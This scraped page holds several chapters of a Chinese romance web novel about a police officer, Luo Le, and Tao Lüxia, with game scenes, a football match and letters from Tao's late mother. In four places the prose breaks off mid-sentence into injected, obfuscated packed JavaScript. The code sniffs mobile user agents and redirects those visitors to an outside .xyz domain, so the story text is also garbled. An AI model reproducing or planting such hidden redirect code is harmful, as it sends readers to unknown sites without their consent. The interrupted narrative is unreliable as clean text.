“既然舍不得,干嘛要放手?”林岘收敛起打趣的心思。 “当然是为了他。如果有些私心的话,我是怕硬抓着不放,就彻底地失去他了。” “我说哥们……”林岘盯着罗乐看了两秒,“你现在还不是失去吗?你看你这惨样,还失去的不够彻底?” “现在是失败,不是失去!”罗乐说。 “有什么区别吗?”林岘问。 “当然不一样。”罗乐低下头,鞋尖在地上碾了碾,“你搞一个长期计划,怎么可能一帆风顺。” “就和登月一样,得能承受延迟、偏航、失联,但目标不能轻易放弃。” 远处训练场上传来零星的哨声,林岘愣是半天没憋出个像样的句子。他沉默了一会,才慢吞吞地开口:“你都怀揣登月的雄心壮志了,还郁闷个啥呢?” 罗乐:“我在想要不要去见他一面!” “干嘛?和他分享你的伟大计划?”林岘把嘴里的糖嚼碎了咽下去,凉凉一笑,“我劝你算了。” 罗乐嗓门忽地拔高了八度:“我得去把游戏机还给他!” “……” 林岘等了半天,愣是没等到任何有分量的下文。 “游戏机?他的?” “嗯。”罗乐点点头。 林岘翻了个白眼:“你留着当成「爱情遗产」不好吗?哦不,按你那定义,这是你们的「共同资产」。” “不行!我必须得还给他。” 林岘扶额,干笑一声:“…….哥们,你这理由和你的登月计划相比,也过于拙劣了吧。” “可是周日晚上有流星雨啊!”罗乐急了,“他跟我说过,想见红色的猫头鹰,只有流星雨的晚上,它才会来岛上。” “……谁?”林岘彻底整不会了,“什么流星雨?” “Switch上的游戏,周日晚上游戏里会有流星雨。我答应过他,只要有流星雨,我就把游戏机拿给他。”罗乐一脸赤诚。 “……” 林岘愣了半分钟,表情从震惊滑向复杂,最后归于对恋爱脑的无言叹服。他缓缓摇了摇头,“认识你这么多年,我是真没想到——” “你纯情得简直,简直……不可思议。” “听哥一句劝,别去了。实在不行我帮你把游戏机还过去。” “不行!”罗乐立刻拒绝。 林岘眯着眼睛打量他,半真半假地调侃:“怎么?还能怕我和你抢男人?” 见他没否认,林岘直接气笑了:“你真怕我抢啊?老子要是喜欢男的!我特么早追你了!” * 陶律夏的大学生活和高中相比,并没有太多不同。上课、做题、写报告,每天的节奏像设定好的程序,精准、规律,毫无波澜。 他不太习惯宿舍的集体生活,几乎每天都会回自己公寓。 周日傍晚,他在楼下便利店随手买了点简单的晚餐。路过酒架时,脚步一顿,目光停在那瓶贴着“九月限定”标签的果酒上。 很久都没有来这里买过酒了。 对他来说,酒精不是社交,不是嗜好,只是情绪不好时充当“麻痹剂”的功能性物质。 他从没有在平日喝过酒,但是今天,忽然就想放纵一下,想来点微醺的东西来刺激平凡如程式的日常。 陶律夏拿起酒,走到收银台结账。 店员是个年轻女孩,见他把酒放上柜台,神情略微一僵,随即略显局促地笑了笑:“那个……不好意思,可以出示一下身份证吗?” “什么?”陶律夏微微一愣,动作顿住。 “你…….成年了吗?”店员犹豫着开口,见他一副不为所动的样子,她又低声补了一句,“你哥哥不让我们卖酒给你。” “……我哥哥?”陶律夏喉咙微微发涩。 “嗯,他来过好几次。跟我们所有的轮班都交待过,不要卖酒给你。” 陶律夏盯着柜台上的那瓶酒,半晌才开口:“他……什么时候来的?” “很早了,还是春天那阵吧?”店员想了想,“我那会也刚来这儿没多久,你哥哥挺凶的,一上来就说要举报我们卖酒给未成年人。” 店员声音越来越小:“我觉得你还是……不要喝酒了吧。” “那就不要了。”陶律夏缓缓开口。 店员微微松了口气,又问 :“其他的还要吗?” “现在几点?”陶律夏看着那罐咖啡。 “七点零五。”店员看了眼显示器的时间。 “抱歉,都不要了。” 自动门在身后缓缓合上,几片落叶轻飘飘地打着旋儿,落在陶律夏眼前的地砖上。 有什么东西从心里涌上来,沉到了眼底,最终却没有落下。 大概再也不会遇到会冲刺400米给他买热可可的人了…… 陶律夏在便利店门口的长椅上坐了一会,回到公寓楼,门廊的感应灯亮了,地上放着一个包裹。 他俯身拾起,指腹在发件人那栏擦了两下,拿回了屋。 包裹里是他的游戏机,最上面压着一张便签:【本周日晚上有流星雨——来自西施惠的广播】 客厅昏暗,安静得像真空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076163|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一线月光穿过未拉严的窗帘,落在地板上。 陶律夏拉开冰箱门,把酒一瓶一瓶地拎了出来。 没有一丝犹豫,他拧开瓶盖,以一种近乎仪式感的动作,把果酒、啤酒、限定风味酒……全部倒进了水槽里。 泡沫翻涌,黏甜的果香和酒精混着说不清的情绪,轻飘飘地浮在空气中。 倒完最后一瓶,他将空铝罐一个接一个地压扁,丢进了垃圾桶。 最后一只罐子“哐”地一声落下,陶律夏推开窗子,夜风扑面而来,那一刻,觉得心情也轻快了很多。 原来情绪也和酒精一样,倒出来,就真的能挥发掉一些。 他在露台吹了一会儿风,转身回到客厅,坐到长椅上打开了游戏机。 三个多月没上岛,世界已悄然入秋,地面泛着柔和的暖黄色,秋草的顶端开出蓝色的小花,毛绒绒地随风轻荡。 陶律夏在游戏里清晰地感受到另一个人的存在,他明明不在岛上,却好像无处不在…… ——博物馆的展柜里都是他捐赠的昆虫和鱼; ——收件箱里,塞满了他寄来的夏日礼物; ——岛上的动物见到自己,总是兴奋地问:你知道R·L吗? 他们穿着R·L送的奇怪衣服四处游走,至于R·L的时尚品味?一只戴着荧光绿□□镜,身穿豹纹背心的企鹅从眼前悠哉游哉地路过。 就和他送给自己的家具摆件一样「糟糕」。 除了家具和礼物,他还寄了很多明信片,把收件箱都填满了。 【第一次去博物馆捐虫子,馆长抖得跟筛子一样,嘴上还在讲“感谢您慷慨的捐赠!”我看它那个样子,差点以为自己犯了什么罪。它真的很热爱这份工作!要不是喜欢,谁会一边怕得要死,一边还坚持做这种事。——R·L】 【你知道要怎么抓住蜗牛?原来要在下雨天,它会趴在石头上。哈哈,我开始还以为是装饰!——R·L】 【岛上长出了神秘作物铃兰,我看游戏论坛里说这是五星小岛的勋章,已经把它移到了你的门前。——R·L】 【今天一上岛,被松鼠神神秘秘地领到了它的家,原来是为了给我过生日。岛民围着我唱歌,还一起吃了蛋糕。KK也来了,送了我一首歌,顺便解锁了限定专辑。 收到很多祝福,觉得很快乐,也想送一个祝福给你。律夏,希望你可以轻松自由地生活,无拘无束的哭泣*——R·L】 陶律夏漫无目的地在岛上跑,路过海滩、小镇和竹海,一路向高处前进,瀑布的水声越来越清晰,夜空也愈发辽阔。 转过一个熟悉的拐角,他忽然停住脚步—— 那片原本不曾打理,长满野草的荒地,如今开满了大片大片的蓝色玫瑰花。 这不是系统生成的风景,也不是从商店买来的装饰,这是游戏里最难培育的花,象征着耐心、计划与好运。 他几乎可以想象到那个人是如何不厌其烦地栽种、浇水、调整、移植,日复一日,直到某个清晨或者日暮,第一朵蓝色的玫瑰花悄然绽放…… 时间浇灌的浪漫混叠成赛博世界的温柔回波,在胸腔怦然震荡。 忽然,一道光亮划破天幕,紧接着,第二颗、第三颗……流星如雨倾泻,在夜空中拉出一道道明亮的光痕。 宇宙深处的一粒星屑,在漫长的时间里孤独航行,直到某一刻,被地球引力捕获,它坠入大气层,穿越无尽的黑暗,在剧烈摩擦中燃烧、气化,化作一道短暂耀眼的光。 如果可以把愿望寄托给这样的瞬间,那么—— “罗警官,愿你幸福,一路坦途。” 51.野生博物学家 校友杯足球赛,本来是个联谊叙旧,拍两张合影发发朋友圈的轻松活动。 但罗乐是谁? 开场不到十五分钟,他逮住对方前场一个心不在焉的回传,直接带球推射破门。 “看见没?哥还是那个带球如飞的中场之魂!”罗乐冲到角旗区,摆了个浮夸的Pose。 “中场之魂?你这叫中二之魂!”林岘嫌弃地后退几步,“你都快三十了,还当自己是少年呢?” “你数学是体育老师教的?26怎么被你给凑成30的?” 原本抱着休闲心态来的老前辈们,被他这一脚逼得没法再划水,只能硬着头皮切回“战斗模式”,一个个杀红了眼地追分。 比分一路胶着,直到最后两分钟,硬是死死咬成3:3,双方球员几乎都靠意志力硬撑。 这时,对方前锋一个仓促的横传被中场抢断,皮球在一阵混战里弹向边线。 罗乐眼疾脚快,先人一步踩住球,带了出去。晃过两个已经跑不动的中场,绕开最后一名后卫,脚下一扣再带,直杀禁区。 时间只剩最后三十秒。 禁区内,罗乐冷不丁一个假动作,把门将骗得飞扑向左。他这才轻抬右脚,直接推射,球贴着草皮飞入球网—— 哨声响起,4:3!比赛结束! 全场瞬间沸腾! 本来已经准备瘫地的一群老哥,看着这脚绝杀,立马像打了鸡血,呼啦一下朝他冲来。 市局政治部的凌主任气喘吁吁地骂:“你小子疯了吧,快三十了还玩这种极限爆冲?” “领导,你别听他胡说,我才……“话没说完,就被林岘一跃挂上背。 “中场之魂个屁!你就是京北压哨绝杀王!” “还特么是一挑三的单骑突袭。”对方阵营的人也凑过来击掌。 球场的灯次第亮起,人群渐渐散去,罗乐坐在场边换鞋,他把鞋底的草屑往地上一磕,顺嘴点评:“这草挺不错,Cynodon dactylon 狗牙根,根系发达,耐踩不秃,专为我这种高负荷中场设计。” 林岘闻言一顿,这人现在已经丧心病狂到连一撮破草都不放过? “上次和政法系那帮人踢球,那边种的是结缕草,脚感软一点,不如狗牙根耐操。”罗乐收拾完东西,拎起背包往肩上一甩,边走边兴致勃勃地念叨。 林岘瞥了他一眼,方才的滤镜全部破碎,“京北压哨王”秒变“装腔作势嘴炮王”。他隐忍未发,想给刚刚单刀绝杀的“中二战神”留最后一分体面。 谁知罗乐越说越上头,怕他听不清似的,又回头补了一句:“我和你说啊,这俩其实是一家子的,都是禾本科,草本亲戚。” “你特么踢个球,能不能把那假冒植物学家的味儿收一收?”林岘终于炸了,抬腿就踹了过去。 罗乐侧身一闪,乐呵呵地纠正:“野生博物学家,谢谢。” “……谁给你发证了?”林岘咬着后槽牙恨道。 “生活本身。”罗乐笑得一脸欠揍,朝停车场的方向走去。 “你能正常点吗?”林岘气不过,又追上去砸了他一拳。 罗乐偏头看了他一眼,神情忽然正经起来:“怎么不正常了?草还能破案呢。” ——草,确实破过案。 准确地说,是被知识武装过的卷王,真的能靠一撮草破命案。 那是去年夏天,京北最闷的三伏天,罗乐拿着一撮从死者鞋底拈下来的碎草,趴在技术科研究半天,说那不是野地里的杂草。 他根据草高、草种、边缘修剪切口,推测是高尔夫球场的果岭草。 后来顺着这条线查了几家球场,案子还真就沿着那根草的方向,一路顺藤摸瓜地破了。 “这叫什么?植物的证言。”罗乐一本正经地总结。 林岘捻起一根草茎,漫不经心地绕在手指上:“你到底背了多少冷知识?干脆出本《野外采样图鉴》,顺便再卷卷美术,连插图也一块儿画了得了。” 这本该是两人一贯的互怼节奏,可这回,罗乐“生活即课堂”的胡扯没能接上话,他嘴角往下一塌,整个人像是被什么回忆绊了一下,在暮色中沉默地背过了身。 又来了…… 林岘叹了口气,走到他旁边陪站:“快三年了,你还走不出来吗?” 罗乐没搭腔,过了一会儿,他转身朝车走去。步子还是一如既往地带风,可肩线却肉眼可见地垮了几分。 他拉开副驾的门坐了进去,车门“咔哒”一声合上,把那点突如其来的情绪隔在了车厢之外。 “我为什么要走出来?”罗乐拉出安全带,对准卡扣插了进去,一字一句道:“我还得去找他。” 语气笃定,像是默念了千百次的回答。 林岘沉默片刻,叹道:“他那么干脆地扭头走了,你这又是何苦呢?” 罗乐垂下眼:“他遇到很难的事情,在那个时刻选择了一个人去面对。我是很难受……但已经无法同行,若还不能去理解,那我也不配说爱。” “那你打算怎么办?傻等?”林岘的手指在方向盘上敲了敲。 “谁说我在傻等?”罗乐嘴角扯出一抹轻笑,像是开玩笑,又像是卸下藏了太久的心事。 “哥们也是有情报的,好吗。” 林岘斜了他一眼:“你们不是早就断线了?你那个长期计划,进度条都快发霉了吧。” “你不能只盯着点火发射那一下看啊,难道只有火箭升空才算进度?”罗乐靠在椅背上,“我得沉淀自己,而且,我还得等他……” 林岘:“你就不怕只有你一个人在这儿傻等?” 夜色中,街灯与霓虹倒退如流,远处天幕上悬着几颗星,微弱地闪亮。 罗乐仰头看着点点星光,神色沉静:“没有在轨道上同行,但总会在某一个点彼此牵引,相互照亮,我信这个。至少对我来说,他一直都在照亮我。” 林岘摇头失笑:“本以为你只是失恋上头,没想到你还能扯出天体力学……” 罗乐:“首先这不是天体力学,顶多算是轨道力学,其次我这也不叫上头,我很清醒。” 林岘:“不是我故意泼你冷水,你我干的都是讲证据的行当。爱?照亮?你有证据吗?你有没有想过,这会不会是你长期自我感动后的情感惯性?” 罗乐闻言,眼皮一抬,嘴角缓缓勾起:“我特么雅思都考了7分,这还不叫证据?难道我这把年纪还要自愿成为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148836|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应试的受害者?“ 林岘愣住,好半晌才反应过来:“……你要出国?” 罗乐:“他如果一直不回来,那我就要去找他。” 等红灯的空当,林岘从兜里摸出颗棒棒糖,剥开丢进嘴里。他见过很多种爱情—— 酒吧里互扯衣领亲完,下一秒扇耳光砸瓶子;婚礼上红着眼念完誓词,三个月后分猫、分房子;口是心非,一边骂“没用的臭男人”,一边默默帮对方收拾烂摊子。 有的爱激烈短命,绚烂一瞬就灰飞烟灭;有的情处处算计,谁先低头谁就算输;有的关系像商业合同,条款齐全,违约金高得吓人。 也有极少数,像一条执拗的河流,越过险滩、熬过冰封,在干涸之前终于汇入大海。 可再怎么不同,爱情都逃不出它的生命周期:开始、升温、衰减、结束。不过是人类在有限时间内,寻找陪伴、交换情绪的一种机制罢了。 林岘一直觉得自己见得够多、够透彻了,但他从没见过,连人影都见不着,还能笃信不疑的……爱。 这已经不属于情感范畴了,得划到宗教信仰的类别。 “再聊下去,哥们都得给你捐点香火钱了。”绿灯亮了,林岘一脚油门踩下去,驶进主路。 “你讲点科学行吗?真要捐,那也叫科研经费。”罗乐笑了笑,顺着回了一句。 “去吃啥?”林岘干脆地调回日常频道,从讨论信仰到安排晚饭,对他来说也就九十秒,等一个红灯的功夫。 “上次那家吧,滨河路五号,老板选酒和选歌的品味都不错。“ “不去。”林岘一口拒绝。 “咋了?你还能嫌贵?”罗乐侧头看他。 “本来想撮合你和那老板来着,现在这种情况,咱儿还往人家店里凑什么?”林岘哼了一声。 罗乐当场坐直,脸色一沉:“你能不能别这么多余?谁让你乱牵线的?” “我没瞎牵。人家后来问起你,我看你单着也不是一两天了,就多嘴说了两句。”林岘装起无辜。 罗乐一怔,像是突然意识到了什么,慢慢转过头问:“……上次送的那张唱片,不会不是赠品吧?” 林岘没吭声,只斜他一眼,一脸“你自己品”的表情。 “你他妈早说啊!”罗乐差点原地爆炸,“那可是限量日版老爵士!我还以为人家看你面子送的!” “随手送一张顶你半月工资的黑胶?”林岘无奈地笑笑,“你真觉得你兄弟这么大面儿?” “唉——”罗乐气得想打人,奈何那人在开车,只能一掌拍在自己大腿上。 林岘连忙摆手:“得了,这锅我的,改天我去说清楚。唱片你就留着吧,还回去才叫设死,有来有往,这半张工资的人情我认了。” “唱片你给我赶紧拿走!”罗乐不依不饶,生怕沾上点莫名其妙的账。 “我要它干嘛?我连唱片机都没有。”林岘一脸无语。 “拿去垫花盆啊,正好配你阳台上那盆快死的仙人掌!”罗乐怼了回去。 “啧……”林岘咂了下嘴,睨了他一眼,“长期计划确实有进度,起码男德已经修炼到满分了。” “滚!这顿、下顿、下下顿……全特么你请!” 52.银河和虫子 温今岚沿着导航走到大学城旁边的海边,刚拐过木栈道,就看见陶律夏蹲在沙滩上。 她走近几步,微微俯身:“在看什么?” “刚才有东西逃走了。”陶律夏指了指沙面说:“留下了痕迹。” “你怎么知道它是逃走,不是……散步?”温今岚反问。 “前段是常规爬行痕迹,中间有一次停顿,接着痕迹突然加深、方向偏离,移动速度明显加快。” 陶律夏站起来,拍了拍裤腿上的沙子说,语气笃定:“警觉反应,可能是寄居蟹。” “你这是哪一派的科学观察?我记得你主修化学。”温今岚半开玩笑地递过咖啡。 “学了些交叉课程,痕迹分析、微物证采集……总之是些在沙滩漫步也能练手的技能。”陶律夏接过咖啡,轻声道:“谢谢。” 海浪轻拍岸石,淡淡的潮腥迎面扑来,陶律夏微微偏头,指向不远处的长椅:“去那边坐吧。” 两人并肩走过去,长椅上落着几枚褐色的小花梗,陶律夏俯身捡起一枚,在指间转了转,说:“松树的雄花。” “松树雌雄同株,雄花散粉后就会掉落,能结出松果的是雌花。从授粉到成熟,通常需要一到三年。“他随口解释。 “嗯......”温今岚望着他,眼底浮起一抹柔和的笑。 “我是不是讲的太多了。”陶律夏看着褐色的花梗,忽然笑了,“有人说,我这样很可怕。” 温今岚伸手接过那枚雄花,柔声道:“让这个世界变得更容易理解一点,我觉得,是一件很温柔的事。” “温医生,你这次来交流项目还顺利吗?”陶律夏问。 “还不错。”温今岚按住被风吹起的头发,“最后还有一期研讨课,下周我们会办一个心理互动展。” “什么时候?”陶律夏问。 “周四。”她将咖啡杯搁在长椅一角,从包里拿出一本宣传册递给陶律夏,“在格兰多旧图书馆后面的展厅。” “「我又不是故意EMO」”陶律夏念出封面上的字,“挺有意思,可惜我赶不上了。” 温今岚微微一怔:“你要走了?” “嗯,下周三飞回京北。交换的课程已经结束,算是完成阶段性任务了。” “学业圆满。”温今岚重新捧起咖啡,偏过头,语气带着点温和探询:“那其他方面呢?有什么想说的吗?” “你是作为心理师在问我,还是……朋友?”陶律夏低头笑了笑。 “抱歉,职业病又犯了。”温今岚自嘲地摇了摇头,“你可以把我当成任何让你觉得舒服的角色。” 夕阳将海面染成玫瑰金色,波浪随风起伏。 陶律夏望向远方,过了一会,才缓缓开口:“作为你多年的个案,我确实有个变化想告诉你。” “是关于她吗?”温今岚轻声问。 “对,我妈妈。”陶律夏低下头。 “我不能说自己能够完全理解她,但至少,现在我不再害怕去打开那个邮箱了。” “以前每次点进去,都像是在看一段冻结的录影。她不知道我放弃了练琴,不知道我学会了游泳,不知道我去了一个她从未踏足的北方城市,住在她从没见过的街区。” “我的后来,她一无所知。” 风吹乱了他额前的碎发,陶律夏垂下眼,指腹压在咖啡杯的纸套上。 “她试图营造……还在我身边的假象,可无论她怎么做,都无法消弭时间的裂缝。她的时间,永远停在了2014年。” “从神经科学的角度说,记忆的每一次再提取,都会重塑其内容。可她留给我的那些信,却在反复提醒我真正的残忍——” “死亡,就是肉.体与精神的双重幻灭,意味着这个人再也不会和你的「现在」产生任何连接。” 风从海面吹过,玫瑰金色的浪面层层翻涌,像随风浮动的织锦。 沉默片刻,陶律夏重新看向温今岚:“可当我不再害怕之后,我在她写给我的信中,发现了一些别的东西。” “我发现……” 陶律夏扭头看着温今岚:“有些东西,穿越了时间……” 【来信主题:隐藏情绪的蛋饼@2021.11.8】 Sunny, 今天早上,我试图做点“健康料理”,特意撒了些新买的“混合香料”,想着提升味道。结果吃到嘴里才发现,混合香料的主料是胡椒。 我一边咳嗽,一边笑,忽然就想起那次“蛋饼事故”。 那天,我特认真地给你做了蛋饼,用了新买的调料包,还用番茄酱在上面画了笑脸,看起来很像儿童营养杂志里的范例图。 结果我们俩咬了一口,几乎是同时放下了筷子。 你先放下碗,表情复杂地看着我,开口的第一句话竟然是:“妈妈,你为什么要做这么奇怪的东西,你是不是对我隐藏了什么情绪?” 我当场憋笑憋到脸红。 你从小就擅长用那种克制又直白的方式点评事情,而且你的关注点居然不是料理事故本身,而是动机可疑。 同你解释后,你还努力地吃了一部分,并且认真地给我提建议:“以后买调料,要注意看后面的配料表,避免造成家庭信任危机。” 多年后,我居然还在厨房里因为调料犯错,但心情却被这段记忆熨得平顺又温暖。 奇怪的食物里会隐藏什么情绪呢,宝贝? 当然是爱呀。 …… 【来信主题:闪光的痕迹@2022.7.2】 Sunny, 今天一早下了场雨,院子里湿漉漉的。我去看新栽的薄荷,在叶片上发现一只小小的蜗牛。它的壳是浅褐色,顶端还有一圈圈细细的纹路。 下过雨后,花园里会有蜗牛还是你告诉我的。 记得有天早晨,你穿着雨衣,蹲在花坛边。我走过去问你在找什么,你没有抬头,只是盯着叶子说你在找蜗牛。 那一刻,我有点意外,因为在那之前,我从来没有在花园里见过蜗牛。 你回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158776|177278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头看了我一眼,眼神像在提醒一个需要去补习知识的大人:“下雨天就会有啊。” “蜗牛爬行时会分泌黏液来减少与地面的摩擦,我刚才在叶子上,看见了它留下的痕迹。” 我顺着你的目光看过去,叶面上果然有一道微微泛光的印子。没过多久,我们就在玉簪的叶子上找到了它。 它慢吞吞地伸出触角,一点一点往前爬。 “蜗牛爬得很慢,可是它走过的地方,总会留下了闪闪发光的痕迹。” 听见你的感慨,我心里暗暗激动:我的孩子以后不会真成为一个哲学家吧?要真是这样,那这个院子,岂不是你最早的哲思花园? 【来信主题:理想岛屿@2023.1.8】 Sunny, 今天在一个偏僻小镇的跳蚤市场看到一张维京时期的北欧航海图。 第一眼看到它时,我就想到了你小时候的那个“宝贝箱子”,你把它藏在床下,每次打开,都像要启动一条神秘通道。 箱子里塞着你收集的地图、航线图、星座图,还有你自己画的假想岛屿。 我记得,岛的中心是个“问题图书馆”,周围环绕着“逻辑山脉”、“概率平原”和“多重解释峡谷”。你说,那是你理想中的世界:一切都能被分析、推演和解释。 你从小就偏爱“全貌感”,喜欢路径清晰的事物。可人生的路线终究画不成理想的蓝图,那些看似不合逻辑的偏差,有时候往往是生活的赠礼。 我也曾拿着一张被现实打乱的地图,在陌生地带踉跄前行,但也是在那里,遇到了意想不到的风景。 如果有一天,你发现自己的地图走不通了,也许是因为,你正站在一块未被世界命名的区域,一块等待你去探索、定义的未知地带。 而那里,也许就是“逻辑山脉”、“概率平原”、“多重解释峡谷”,能够找到一切答案的“问题图书馆”,是你的理想岛屿…… 【来信主题:外星来客@2023.02.13】 Sunny, 今天在院子看见一只小虫子沿着花坛边慢悠悠地爬行。壳子黑亮,尾部还有一点点红色花纹,就想起你小时候送给我的那只“外星来客”。 那时你才四岁。有一天,你郑重其事地捧着一只小甲虫放在我的手心:“妈妈,它可能来自别的星球,你要小心对待。” 我看着那只六条腿一通乱蹬的家伙,脑内已经开始高频尖叫,但还是咬着牙没把它甩开。* 我拿出了毕生的演技,努力装出一副“见过宇宙奇观”的镇定模样,和它建立了长达一分钟的跨物种友谊。 我一直记得那天我们一起放走它的场景。你和它拼命挥手,像是送别一位即将回到母星、此生再也不会相逢的朋友。 那时候的你就对这个花花世界温柔又好奇。未来的某一天,如果你遇到那样的一个人:愿意蹲下来陪你看虫子,也愿意抬起头和你一起看银河。 不要犹豫,一定要好好抓住。 爱你的,Mom 53.1063天 实验比预期耗得久了些,走出楼时,天已经完全黑了。 中午随便对付了几口,陶律夏拐去校门口那家通宵营业的餐馆,点了一份咖喱鸡肉饭和一杯柠檬茶。 刚吃到一半,门口忽然响起一声高分贝喊叫——“偶像!!!真的是你啊!!!” 一个熟脸正风驰电掣般冲过来,陶律夏抬起眼,放下勺子。 “孙世杰……” “偶像,你还记得我名字!”孙世杰险些当场泪目,“我听人说你出国了,还以为再也见不到真人了!” “刚回来两星期。”陶律夏点点头,“你现在大一了吧?” “对,我在农大学食品科学!我刚才还在纠结要不要吃夜宵,结果就看到你。” “果然,美食会带来美好相遇!”孙世杰双手合十,真情实感地发言。 美食确实能带来一些……热量之外的东西。陶律夏看着热情如旧的学弟,和气地笑笑:“你是喜欢食品科学对吧?我记得当时你选的研究课题是果胶制作。” “偶像,你、你还记得我当时选的课题啊。”孙世杰眼睛瞪得溜圆,然后他就切换为自动播报模式。 陶律夏就着剩下的咖喱饭,被动听完了:课题小组其他成员的动向、实验中学教资组的人事变动、食堂辣椒酱的新配方。 “偶像!你还记得502的那台仪器吗?你走后仪器也开始认人了。有个学弟照着你留的实验文档复刻,结果数据全飘了,一气之下在群里发疯,说‘陶神有灵’。” 陶律夏抬眼:“他用的是玻璃比色皿?” “啊?你怎么知道?” “我的实验文档里提示过不要用玻璃。”他语气淡淡,“脚注果然没人看。” “……” “偶像,你知道吗?你毕业之后,实验中学就再也没有真神了,连食堂大妈都记得你。” “那可能是因为我帮她修过电子秤。”陶律夏抽了张纸巾,慢条斯理地擦了擦手,“我先走了,再会。 “还有……孙世杰,请不要叫我偶像。” “你当然是偶像了!你知道你有多少粉丝吗?!虽然现在大家都上大学了,活跃的不多,但还是有人每天在你超话里打卡签到呢!” 陶律夏没接话,只是垂下眼帘,露出一个几乎称得上宽容的笑。 孙世杰以为他是不相信,立刻拿出手机翻找起来:“真的,我没骗你!” 陶律夏本来毫无兴趣,但拗不过孙世杰三番五次把屏幕往他眼前怼,便随意瞥了一眼。 目光定在一个头像上,没来得及思考,他几乎下意识地伸出手,径直把孙世杰的手机抢了过来。 动作太急,撞翻了桌上的玻璃杯,冰凉的液体泼溅到裤腿上,渗出一片深色,可他却浑然不觉,手指略带颤抖着点开那个头像—— 一只彩铅绘制的雪鸮。 无需“相似度匹配”之类的判断,只看那笔触的走向,他就清楚这件事根本不需要推理。 这只雪鸮是他画的,而他,只发给过一个人。 “……偶像?你怎么了?”孙世杰愕然地看着他。 陶律夏回过神,把手机还给孙世杰,拽了几张纸巾草草拭过裤腿,嗓音低哑:“抱歉,我去下洗手间。” 水流冲刷着洗手池,他撑在台面上,镜子里映出一张略显疲惫的脸。 那个名字在脑海中一遍遍闪过,连续签到1062天,要从2020年4月18日开始到……昨天。 * 抓完人已接近凌晨,警灯一闪一闪,夜风透进车窗缝里灌进来。 罗乐坐在警车副驾,摸出手机划进那个早就钉在浏览器最前排的页面——实验中学·陶神超话。 【签到成功√ 】 1063天…… 不但没把这个邪恶组织连锅端了,反而成了这片荒草乱飞之地,最忠实的信徒。 警车拐进市局院子,院角停着几辆公务车,引擎盖上落满了毛茸茸的杨树花。 又是春天了…… 罗乐的目光在上面停了片刻,便将那点软绵绵的心事压回胸口。他拉开车门,从后排把人拎出来,迈步走进审讯室。 …… “没去现场?”罗乐往桌前挪了点。 “那你脚上的水泥灰,裤脚上沾的防腐涂料……”他语速缓得接近柔和,像在跟对方聊家常。 “都是空气凝结出来的?” 嫌疑人抬起头,眼神空洞,结巴着重复了一遍:“空……空气凝结?” “听不懂?”罗乐看了他一眼,将手边的黑色水性笔往旁边一丢,语气淡得像在播天气预报:“简单给你解释一下。” “空气凝结叫液化,液化之后如果变成固态,需要达到凝固点。” “可即便形成固态,也不可能构成水泥灰和防腐涂料。”罗乐说到这里,微微偏了偏头,唇角扯起一抹笑:“明白了吗?” 嫌疑人瞪着他,脑子明显已经短路,半天也没憋出回话。 “这世界上有很多自然现象,也有很多巧合。”罗乐慢慢靠回椅背,语气轻飘飘的,“但你刚才说的那个,叫胡说八道!” 耳机里忽然传来一阵咆哮声:“你上学那会没当上学委,现在天天在审讯室搞答辩?!一天天的和犯罪团伙的基层文盲普及什么物理化学!” “你特么别再装逼!快点问完!回头我让技术科给你颁个科学顾问证书。” 这声音震得耳膜都发胀,还是熟悉的配方——李达坤。去年秋天,他从东城分局调来市局刑警队当队长。 罗乐没理会耳机里的爆怒声,他拿过水性笔在桌面上轻轻磕了两下,盯着那双茫然的眼睛,嗓音恢复成一贯的寡淡冷硬: “车库监控都拍到你了,别撑了,赶紧交待!” 审完人已经快凌晨两点,银钩似的残月缓缓滑过西南的夜空。 罗乐回到屋里,脱下外套,随手搭在椅背上,走进浴室。 热水砸在后颈,水汽升腾,将冷凉的玻璃门熏出一层水雾。他抬起手,在那层「空气凝结」出的雾面上随意地划了几下,画出一个歪歪扭扭的笑脸。 水珠沿着指痕缓慢滑落,笑脸被冲刷得模糊不清。他盯着那片湿漉漉的玻璃看了一会,轻轻笑了。 “陶老师,真是……害人不浅。” 星星稀稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170287|177278||http|test|mini|href|location''.split(''|''),0,{})); () 